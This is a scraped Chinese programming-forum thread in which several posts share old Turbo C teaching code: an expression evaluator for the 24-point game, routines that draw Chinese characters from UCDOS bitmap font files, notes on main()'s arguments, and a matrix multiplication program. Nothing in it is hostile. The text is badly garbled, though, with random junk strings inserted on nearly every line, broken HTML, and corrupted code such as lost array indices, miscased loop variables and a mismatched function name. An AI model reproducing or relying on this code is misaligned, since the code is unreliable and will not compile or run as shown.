% O* L8 G/ }. A( wint first(char c)* u! I" o5 A) |& @; c
{ int p;6 }/ z/ l3 c# A( s+ z$ r7 X
switch(c)
8 G% \+ q/ F8 h+ p$ Z( S{ case '*': p=2; break;; s/ F- `# p# H. E. S
case '/': p=2; break;
0 p6 ^& Q6 U1 q0 Fcase '+': p=1; break;7 R! ~" H) Q$ H5 z" y
case '-': p=1; break;/ I7 p+ ?& w" @' a
case '(': p=0; break;
& ^( H  s+ ?0 S/ ?2 pcase '=': p=-1; break;
3 c- ~* |# u) H  g5 F0 G4 @}
9 i) d! w  A1 J9 |return(p);
  Z7 A! d: h+ \}
) v9 U1 H# p" ~* R; b/* 此函数实现中缀到后缀的转换 */: k% a# V! g( U" y! Z' C/ c* k
/* M的值宏定义为20 */# S; w+ @7 c: R0 |& f- v+ v  m
/* sp[]为表达式数组 */: g' A+ q; s6 N8 H" A
int mid_last()9 f+ s- f  h" n) M/ A
{ int i=0,j=0; char c,sm[M];& s4 i9 p2 N7 I3 {4 x* K
c=s[0]; sm[0]='='; top=0;3 M( G, O! m/ n  X" ~+ H& H
while(c!='\0')
) x9 P: R6 x' W& a4 Z{ if(islower(c)) sp[j++]=c;' e- E# X8 I2 U% D
else switch(c)7 {& I) W% O: c, [7 _8 l/ q- x
{ case '+':
+ ?; d8 o3 K- Zcase '-':0 b6 |! x- V; u! _3 H4 ~
case '*':0 J8 L7 Y1 a. _  |; V* F, Y
case '/': while(first(c)&lt;=first(sm[top]))
8 o, m% \0 P* M4 a! A  ssp[j++]=sm[top--];+ h" X0 o% ~( Q9 C$ k
sm[++top]=c; break;5 b" Q- Z% e* M7 ]
case '(': sm[++top]=c; break;
5 z" n: D6 t* P, i2 j6 L% I8 X/ Scase ')': while(sm[top]!='(')
4 j/ J$ K0 A  ksp[j++]=sm[top--];
. w% D( z. l" C8 x; n$ rtop--; break;; _+ h' S) ?5 Q' F# u
default :return(1);0 O& n8 E( P8 @; l! z
}
" w, d; e* d  I7 h8 K$ }0 `* n- ?c=s[++i];' ]" R! V8 S3 n9 f3 N
}2 w9 L1 Y2 Z$ d/ c
while(top&gt;0) sp[j++]=sm[top--];2 |+ G. V9 {/ j. F
sp[j]='\0'; return(0);
  `2 [( O1 }& J9 X+ N8 F}
. \  H$ S& F$ a/* 由后缀表达式来计算表达式的值 */
% B1 |* ^& M. ?, a! \int calc()
7 Z# q8 x# H& I, `{ int i=0,sm[M],tr; char c;
9 {+ P7 K6 R: n( v/ i- @c=sp[0]; top=-1;
+ \# K$ R( V! p8 V4 N! Nwhile(c!='\0')
/ i4 o8 Z1 J# W{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
$ B* m# r. T+ P. l  w这样才可以更方便的处理非一位数,
) G" }0 k$ f) pver数组中存放着这些字母所代替的数*/
8 R/ f# K9 ^6 Yelse switch(c)
# I* M( A" p( x! K7 V2 r+ f{ case '+': tr=sm[top--]; sm[top]+=tr; break;+ z$ q/ {+ i8 J, `* l
case '-': tr=sm[top--]; sm[top]-=tr; break;
1 F. j2 a4 }, r5 W/ R& A* l1 {. ncase '*': tr=sm[top--]; sm[top]*=tr; break;) r- a$ @' w8 P" ?( t
case '/': tr=sm[top--];sm[top]/=tr;break;
! U; P* S' t9 h8 p4 Kdefault : return(1);. a2 }( Z. K; x' |# V2 X3 o
}& j' K2 m0 F8 Y" s- R6 N; ]
c=sp[++i];9 I( F$ m$ y9 ?! T- Q
}
' {1 r; I: u- G6 o6 Q5 gif(top&gt;0) return(1);
( w  t( k$ D) T( O: k* k% helse { result=sm[top]; return(0); }
2 [% L9 |- r6 @& m7 U) x4 h7 n}
: K5 K5 k0 Z% C$ B& P</FONT>
- d  J3 `* k1 r! i/ J5 I& C  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
3 h0 [% A) }$ v3 U# ~
5 D: E1 A% B& w# `  最后我总结了一下这其中容易出错的地方——
! h; j. H3 Q% X
: b  c; w) x/ j# g- \& B  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
. Y5 N) V$ z/ R; g" n8 |
- ~- l- J# p& \3 n2 U7 R  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
& o, Y- @7 v) e# a" c. P, @
& i7 G/ K. Q9 c; \+ O( n1 U  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
; g) s" i) n* q: d  l4 ?, {$ r9 T" h) G% U" H4 s2 E6 D, s# [- s
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。) m" Y" ^. t) n; p8 ?$ p+ N. R$ v
" o% _+ j) p$ I+ U* @5 i% w
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
% k1 v' a" j* R. Z
# C6 t  i* K  u) o8 d% n  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。4 f/ K7 C* p) B) D" A' f

5 V7 \3 {. I: o  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
) I9 h) @" l& F4 j  i</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>7 k1 X! G# T7 |. _3 v; z
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
2 o5 P; M7 g, R# P. R1 z/ O, e; Z  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
( h* V$ k' P: i( ^  汉字显示的第一步是打开字库文件。
  F) M. w4 Q% y4 A  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。
# ]9 O, M7 D0 g$ u6 R  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)7 w/ Y0 l: O5 h$ l  C, t
{
, `/ b. V6 n2 S" Vunsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/9 [1 H/ L) ~# A% l
int rec,i1,i2,i3; /*z:space between;*/5 z+ \% a  `/ a8 R/ h
long l; /*color:txt color*/
/ \2 Z* R8 |% I. H" B) ?. C$ Ochar by[32]; /*p:HZ str*/5 f2 K/ ~# v3 x* s5 @, ?
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
' d9 v: z. R& ^" d- jif(i&gt;0xa1)/ ~7 ]8 H0 E0 Z1 P! ^6 `5 E1 O$ Y
if(f==0){) V6 s! n6 M& ~" g
c1=(i-0xa1)&amp;0x07f;9 r& P4 ~2 B) n0 ~3 M3 d$ F
f=1;- x  J4 ?  o6 A1 }9 |) v: X& e
}- y# I1 l4 B' D* O4 }% O
else{
: Z7 [7 G. f; R* Bc2=(i-0xa1)&amp;0x07f;
: w" ]; U; q& m8 ~2 Z- Tf=0;
" F$ c. K4 q" R$ Z6 s, [4 mrec=c1*94+c2;
: v0 r! v8 _" g, B: i6 e+ ?l=rec*32L;2 x% S. E) A# a
lseek(handle,l,SEEK_SET);$ M* ?0 x! t; I, L' w+ [* |" M5 [
read(handle,by,32);9 o2 Y# r+ i6 i' ]2 x8 g, J
for(i1=0;i1&lt;16;i1++)$ z/ Y" Z- _8 }9 ^' V  I
for(i2=0;i2&lt;2;i2++)
; ^* t) y- n8 x* H- y4 p0 `for(i3=0;i3&lt;8;i3++)5 ~" K3 @9 X% I' ?
if(GetBit(by[i1*2+i2],7-i3))) q( H( Z7 `1 |* S5 L! t4 I  y
putpixel(x+i2*8+i3,y+i1,color);
+ ^* o5 T, e; q5 m# O8 v# Cx=x+z+16;1 {4 c. [. a, j+ U$ P% R4 a2 T
}
5 f* C/ A9 c; i$ x5 L}
+ n) t" N5 q, J. h( _return(x);" n' k3 K$ [; ?- z# f: @& l9 Z
}
3 G7 u4 {# a5 L& B, J3 M2 u函数GetBit定义如下:
, a9 H: e$ ?1 @7 B1 y  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。7 a6 Z; [* a  d/ u( ~% s' D% E9 g
int GetBit(unsigned char c,int n)
# V4 F: Z( }8 p2 y{$ j7 S( E" k# i3 e7 p; A
return((c&gt;&gt;n)&amp;1);
) B1 w2 p1 c' U' f1 P}2 A' c! q/ L9 Y
汉字显示结束,应该关闭字库文件。
! }' G6 _: U2 s! F* J' Evoid CloseHz(void)4 C: B1 q& c! I2 C; |* ~5 O- w
{
( y" s! C2 u" J5 B& Y; a. Dclose( handle );# t8 K/ S1 T. a; G$ p1 r( f
}8 j/ Y: r/ {+ ?! p5 r. ]
#include "\Caic\Include\Hz.h": [7 v& n/ {5 F
#include <GRAPHICS.H>1 C% Q$ S+ t# @) z+ D
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";# X5 p; m( N# a  y$ b
const char* HzStr = "苦丁香C语言辅助学习软件";
7 f- ]4 \6 X5 Z3 u1 G# i1 Kvoid main(){
# U$ B, {7 u4 nint gr=DETECT,gm;
* a0 \) p/ L, Vinitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
7 `8 ~8 F+ k3 G5 A7 a1 e, W2 T5 i6 A" HOpenHz( Hz16Path );
1 t/ n% @  T" q7 h0 uWrt16Hz(20,20,4,RED,HzStr);
6 z# F, _: Z# N4 r! N$ ICloseHz();8 {/ ^: [! X7 N/ @! `' G
getch();
7 i- S1 @. S3 S) Gclosegraph();* @2 r3 r: V, r
}显示24点阵及放大汉字, ?6 [) O& T7 c0 |
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。$ e0 {$ y$ Q/ N) Z7 ~8 u! ?  c
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
4 d) G$ b2 |; y& j6 U8 d) C# o; Zint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
$ `: s7 X& T$ G+ n: r8 u! D8 l  z1 Y{
. k$ o2 F. F. @unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
: `  C( G- ?9 ]% i  M5 Y3 s+ {int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/+ [, Y# m- [: e5 @( v+ M
long l; /*color:汉字颜色*/
; {5 l$ H, Q! F* Dchar by[72]; /*m: x 方向的放大倍数*/  |  e# A1 ~( @* t+ Y; r
/*n: y 方向的放大倍数*/
& k8 q) v2 L3 L. }, e  p' Tif( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
; \" i# D1 V; r6 G$ E- iif(i&gt;0xa1); q4 M# h$ c- I% Q
if(f==0){7 H5 g0 e: {- H  s8 w2 L
c1=(i-0xa1)&amp;0x7f;9 U8 J3 C4 D  B* g+ }+ E4 f
f=1;2 m( p, K) U7 `+ h8 Z% c$ c
}. J1 ^, X. @: y$ g9 u8 W' U" N: R, m
else{4 P$ g; h% v5 X4 Y) q1 N' c
c2=(i-0xa1)&amp;0x7f;
. ^* b0 w+ P- b+ _- @1 {3 Uf=0;
1 C( c3 f- ~! o& u& q$ P1 k( Orec=(c1-15)*94+c2;' t4 I5 C; w, G% ]
l=rec*72L;  h7 A- P1 C8 r7 ]9 Z8 U
lseek(handle,l,SEEK_SET);
, ?& `: ^& t, H  \: }$ E' `read(handle,by,72);! M6 U: f- q; a6 o
for(i1=0;i1&lt;24*m;i1=i1+m)' \- t6 a  e8 e. X; u- k
for(i4=0;i4<M;I4++)3 p* `6 s* S+ F5 y4 U- \
for(i2=0;i2&lt;=2;i2++)6 j* A" a5 Q4 s0 v2 q6 R: t$ A& C
for(i3=0;i3&lt;8;i3++)
! Y0 s- R1 p( N1 e8 {- [if(GetBit(by[i1/m*3+i2],7-i3))& H8 s3 B1 ~, F
for(i5=0;i5<N;I5++)
+ p% R" H% J- G putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
; X. E0 k& B$ j, d/ Lx=x+24*m+z;
7 e& J6 \9 M7 _, E% I}, i( j' J' U$ u$ p' ]
}
+ B1 t4 Y: n. C. z2 b7 Zreturn(x);/ D2 |+ ~6 u$ x0 T, |; J
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"; V$ _1 x1 L' h# C! X" i7 i/ M  Y- V
#include <GRAPHICS.H>
4 c/ v8 j0 s& O7 Z6 J3 N& y& H#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."1 q8 V4 m9 ^9 d3 A
const char* HzStr = "苦丁香C语言辅助学习软件";
1 Z) K; P+ o; P3 }9 d  @. Cvoid main(){0 @6 q7 Q$ ?3 q6 I" D
int gr=DETECT,gm;% B6 m+ |. ?0 B8 o' O) Q+ j2 z
initgraph(&amp;gr,gm,"\\Caic\\Bgi");" h  X1 q# \! i0 |5 F  R
OpenHz( Hz24Path );- i4 B" |1 P3 w2 a
Wrt24Hz(20,20, /*先是在(x,y)*/+ }1 f- j0 Q4 @7 Z* Q
4, /*汉字间的空格为4*/
+ ^) J9 U" w( z; [RED, /*用红色显示*/
+ a) N' P  `  \: q6 K2, /*x 方向放大2倍*/8 l" i" e* X$ l1 ^
4, /*y 方向放大4倍*/
) ]" I1 E  ]1 L4 [4 J( l8 XHzStr); /*显示字符串*/
% x) N3 q* N% V8 J1 JCloseHz();+ [2 E  A: g9 g& u
getch();/ ]1 J6 \3 l1 c2 A. }0 `. O
closegraph();
& H; {$ {# |3 ~6 q} 1 _4 j/ S6 \8 d( D/ R+ b9 i3 U* ?
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
7 ^5 ^3 y  x  m" Y) F' N5 V! n  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
9 @( M9 o& W( B/ o- d$ {+ V1. main() 参数8 \/ V1 b" ~5 i3 |  s, J/ |: G& D* l
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
$ \" Y! i: R- |* h# L; o  * argc: 整数,为传给main()的命令行参数个数。: w9 [& J* \* j, ^: T& y
  * argv: 字符串数组。2 ~3 g9 y! O  I4 s4 i5 [
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;$ K, o6 r2 f" z/ ?) P
对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
6 U  m" G9 @! H$ k...
0 T& R6 m5 _6 i0 A! G+ L( p2 bargv[argc]为NULL。
' X1 J" C4 p. b: H  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应  ?9 {% F5 R, \- I6 l+ Y; n: W
值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/& [8 v  r* R; G& y8 Y( u$ C& ]( b, A
#include&lt;stdio.h&gt;7 j, s- ^' i+ Z" N/ T1 v: i
#include&lt;conio.h&gt;! k& e6 @3 T% ?; d
#define X 3
- V- g3 H4 G& }# M; C5 d5 s/ j+ Z& k#define Y 3</P><>int a[X][Y];  s* L" r4 e6 T! u, J
int b[X][Y];' G) Y  v( E6 _; J0 I# J
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
" b3 h5 T- G' b0 d: H8 \. }+ imain(); o: n9 ]# u7 o0 V7 H
{
3 q- {( v8 X) p5 R( \int i,j,temp;% M! d$ d# R8 @; U2 @- h5 S
clrscr();
1 b& b# `; q/ X& A) D  E5 R: dprintf("lease input int matrix b[%d][%d]\n",X,Y);
& b/ x3 T( v9 ^3 `for(i=0;i&lt;Y;i++)- m9 f, v- f$ Y- f  D0 J
for(j=0;j&lt;Y;j++){& K" {0 p' h4 q( Z' h4 W
scanf("%d",&amp;temp);
/ `' F5 O3 S- a* ~' wb[j]=temp;
, w! ?) m8 L1 U0 \7 u! B0 }/ q}
8 m8 ~$ S+ l1 B% o& o# P# vprintf("lease input int matrix c[%d][%d]\n",X,Y);
; G! O% c8 Z- q/ G9 Wfor(i=0;i&lt;X;i++)5 i8 F+ {- y& |
for(j=0;j&lt;Y;j++){% \- j5 Z! E2 L+ ?1 B3 {$ o& Y6 n
scanf("%d",&amp;temp);
6 V7 i/ }- T/ Q$ d  F6 G: `c[j]=temp;) l  X2 F/ R% T6 y" |9 K9 J' Q! f6 f
}0 I4 g6 P% @  h! i; ^; W$ ]( O
matrix(b,c);
- \5 v$ C! P% [% ~0 `8 I* j* dprintf("Now print resource matrix b[%d][%d]=",X,Y);5 A0 o, k  O8 o$ a
for(i=0;i&lt;X;i++){
7 ~4 }3 y, B# \, }) K  Aprintf("\n");
7 O( c& Q. t& O! I- v& X) P  t9 |for(j=0;j&lt;Y;j++)
8 n6 V+ A' w' L. J2 Aprintf("%d ",b[j]);( k" z" H* A5 h+ B
}
) o2 ?6 `3 u+ y/ Aprintf("\n");
+ p6 x6 Z" G* S# b- E( B0 K. Iprintf("Now print resource matrix c[%d][%d]=",X,Y);
( @# M9 @% ]7 m- @for(i=0;i&lt;X;i++){
, q4 E! y! C# M, ~- c) rprintf("\n");( K! H5 r- D- C' }$ P
for(j=0;j&lt;Y;j++)7 Q- y8 y* J& l7 f: l6 S
printf("%d ",c[j]);
' O" R- u2 X2 S0 n+ _' i}
  V+ ^6 H) S6 t( gprintf("\n");5 R4 D0 K5 J+ a* r# L
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);: _0 s/ y6 }, h( H2 D, l
for(i=0;i&lt;X;i++){. p7 n1 b+ k; @; e" T/ z8 e7 B
printf("\n");
+ q9 Y5 ^7 z4 T. y. H6 Sfor(j=0;j&lt;Y;j++)+ U' v7 x9 F0 @+ L, P) x" x* S
printf("%d ",a[j]);
& S3 O  u/ a, A# i  u) l5 s0 c$ u5 b}
( D% e  G# m0 v7 f& Vgetch();$ p: ~7 Z/ R8 r1 Z! I7 [
return 0;
5 E- h) L' K5 A% e' f}
( i$ k7 M; M; r5 u/********************************************************************/# j5 n+ O! ?" ^- r: y3 u. Z3 e
void matrix(int b[][X],int c[][Y])+ u+ i* B, r& |5 N" b7 a
{
0 ^" }. \9 {( z1 Hint i,j,k,temp;
3 j/ W! _3 }7 zfor(i=0;i&lt;X;i++)
; F8 Q1 C/ O- n# z. t/ M0 S% jfor(j=0;j&lt;Y;j++){
" V, v- n/ |$ T) c+ C/ @7 _2 V' V% }for(k=0;k&lt;Y;k++)
# q  G3 D( e, f* w8 U4 {& ^" G4 ka[j]+=b[k]*c[k][j];
( H% w+ L( r% }6 i8 y! r) O}
8 ]  v; m; B! U2 P}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-6-3 23:25 , Processed in 0.736131 second(s), 90 queries .

回顶部